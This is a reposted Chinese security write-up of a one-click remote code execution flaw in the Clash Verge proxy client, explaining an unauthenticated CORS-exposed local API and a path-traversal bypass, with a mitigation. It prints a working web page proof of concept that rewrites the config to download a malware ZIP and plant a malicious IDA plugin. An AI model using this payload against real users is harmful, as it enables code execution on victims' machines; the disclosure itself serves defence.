Clash Verge 1-Click RCE漏洞

admin 2025年5月23日15:56:15评论5 views字数 1615阅读5分23秒阅读模式

摘要

危害

用户使用默认配置的Clash Verge时,访问一个恶意网页即可触发本地文件写入攻击,进一步利用各种软件的插件加载机制,即可将文件写入扩展至RCE漏洞。本文以IDA的插件加载机制演示该例

漏洞成因

  • Clash Verge客户端默认配置下在http://127.0.0.1:9097开启了一个RESTFul API服务,且存在CORS问题,恶意网页可以通过该服务修改Mihomo(Clash核心)的配置文件
  • Clash核心配置文件包含如下字段,可以从互联网下载一个ZIP文件到本地并解压,注意external-ui字段存在路径穿越检查,但是检查不完善,可以通过external-ui-name字段绕过,最终实现本地文件写入
配置WEBUI目录,使用http://{{external-controller}}/ui访问external-ui:/path/to/ui/folder/external-ui-name:xd# 目前支持下载zip,tgz格式的压缩包external-ui-url:"https://github.com/MetaCubeX/metacubexd/archive/refs/heads/gh-pages.zip"
  • 实现本地文件写入后,即可通过利用常见软件的插件机制,通过部署恶意插件,实现后阶段的RCE,本文以IDA的插件加载机制为例

技术细节

获得任意文件写

Clash Verge默认开启未鉴权API服务

下图是Clash Verge的默认配置模版,它默认在127.0.0.1:9097开启API服务,且secret字段为空,不做鉴权。并且该API服务存在CORS问题,可被恶意网页利用

Clash Verge 1-Click RCE漏洞

浏览Mihomo代码发现,通过PUT请求http://127.0.0.1:9097/configs即可设置配置文件,Body为JSON格式,其中payload字段即为配置文件内容

Clash Verge 1-Click RCE漏洞

配置文件为YAML格式,并且其中的下载UI功能可被利用

Clash Verge 1-Click RCE漏洞

绕过路径穿越检查

Mihomo对external-ui字段有路径检查,不管是相对路径还是绝对路径,都会解析然后检查是否仍然处于安全目录,如下图所示

Clash Verge 1-Click RCE漏洞

Mihomo最终会将external-ui-name字段拼接到external-ui字段后,得到最终的写出路径,并且没有对写出路径做路径穿越检查,因此可以利用external-ui-name字段进行路径穿越,获得文件写能力

Clash Verge 1-Click RCE漏洞

部署恶意IDA插件

IDA会从~/.idapro/plugins目录加载IDA插件,编写一个IDA插件如下图所示,将malware_ida_plugin目录置于IDA插件目录下,即可实现加载

Clash Verge 1-Click RCE漏洞

整合POC

完整POC可见GitHub: https://github.com/ddddhm1234/clash-verge-rce

Windows下的POC如下,MAC / Linux需要调一下相对路径细节

<p>        2. 以IDA插件加载机制为例, 通过部署恶意IDA插件载荷, 将文件写扩展到RCE</p><script>const r = fetch("http://127.0.0.1:9097/configs", {method"PUT",bodyJSON.stringify({payload`                external-ui: test1234                external-ui-url: ${document.location.origin + '/malware.zip'}                external-ui-name: ..\..\Hex-Rays\IDA Pro\plugins\malware`,path""            })        });</script></body></html>

缓解建议

  • 在Clash Verge中为外部控制设置密码
Clash Verge 1-Click RCE漏洞

演示

Clash Verge 1-Click RCE漏洞

原文始发于微信公众号(网络空间威胁观察):Clash Verge 1-Click RCE漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月23日15:56:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Clash Verge 1-Click RCE漏洞https://cn-sec.com/archives/4084032.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息